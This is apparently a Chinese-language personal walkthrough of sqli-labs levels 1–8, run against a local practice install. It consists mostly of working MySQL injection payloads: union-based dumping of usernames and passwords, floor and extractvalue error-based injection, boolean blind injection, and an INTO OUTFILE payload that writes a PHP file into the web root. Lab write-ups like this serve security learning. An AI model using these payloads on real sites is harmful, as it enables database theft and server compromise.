自己搭建环境啊喂...http://127.0.0.1/sqli-labs-php7-master/
第一关

1.单引号判断是否存在注入点
/?id=1'

2.查询列数
?id=1' order by 3--+

?id=1' order by 4--+

由此可判断有3列
3.查询用户名和密码分别在哪列
?id=-1' union select 1,2,3 --+

4.查询数据库名称为security
?id=-1' union select 1,(select database()),3 --+

5.查看数据库中的表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

6.查看users表中的字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

7.查看字段对应的值
?id=-1' union select 1,(select group_concat(concat(username,'%23',password)) from security.users),3 --+

第二关到第四关差别较小,直接做第五关罢
第五关

各种查询都显示”You are in......”,判断需要盲注


这里可以看到,查询的字段超过3个后出现报错,因此可以尝试使用报错注入

1.通过floor报错注入查询出数据库名为security
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+

2.查询出表名
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

3.查询users表中的字段
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

到这儿基本就结束了
第六关

1.查询发现是双引号闭合


2.用extractvalue报错注入查询数据库名为security
?id=1" and extractvalue(1,concat(0x23,database(),0x23))--+

3.查询表名
?id=1" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x23))--+

4.查询users表中的字段
?id=1" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x23))--+

5.查询字段username下的数据
?id=1" and extractvalue(1,concat(0x23,(select group_concat(username) from users),0x23))--+

6.查询字段password下的数据
?id=1" and extractvalue(1,concat(0x23,(select group_concat(password) from users),0x23))--+

第七关
第七关需要修改secure-file-priv的参数


修改保存后重启mysql服务即可
进入第七关

1.多试几次,可以发现这关的闭合点是’))


2.使用into outfile函数将一个php文件写入服务器目录(需要知道本地路径)
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "D:\\PHP\\phpstudy_pro\\WWW\\test.php" --+



3.或者通过into outfile函数将数据库相关信息打印出来
?id=-1')) union select @@datadir,@@basedir,database() into outfile "C:\\Users\\14619\\Desktop\\test1.txt" --+
这里我输出到了桌面上的一个新文档text1里


4.知道数据库名后就可以继续把表信息打印出来了
?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "C:\\Users\\14619\\Desktop\\test2.txt" --+

5.然后是users表里的信息
?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' into outfile "C:\\Users\\14619\\Desktop\\test3.txt" --+

6.最后是各字段对应的数据
?id=-1')) union select 1,group_concat(username),group_concat(password) from users into outfile "C:\\Users\\14619\\Desktop\\test4.txt" --+

第八关
布尔盲注太繁杂了,这里就仅演示查出数据库名的过程
1.判断闭合点的过程就省略了,是单引号
2..判断数据库长度
?id=1' and length(database())>5--+

?id=1' and length(database())>10--+

?id=1' and length(database())<10--+

这里可以确定数据库长度在5到10之间
继续尝试发现数据库长度为8
?id=1' and length(database())=8--+

3.判断数据库名
?id=1’ and substr(database(),1,1)>’g’--+

?id=1’ and substr(database(),1,1)>’t’--+

这里判断出数据库名的第一个字符在g和t之间
继续缩小范围得出第一个字符为s
?id=1’ and substr(database(),1,1)=’s’--+

简单修改可继续查找第二个字符
?id=1’ and substr(database(),2,1)>’g’--+
同理,最后可得出数据库名为security



















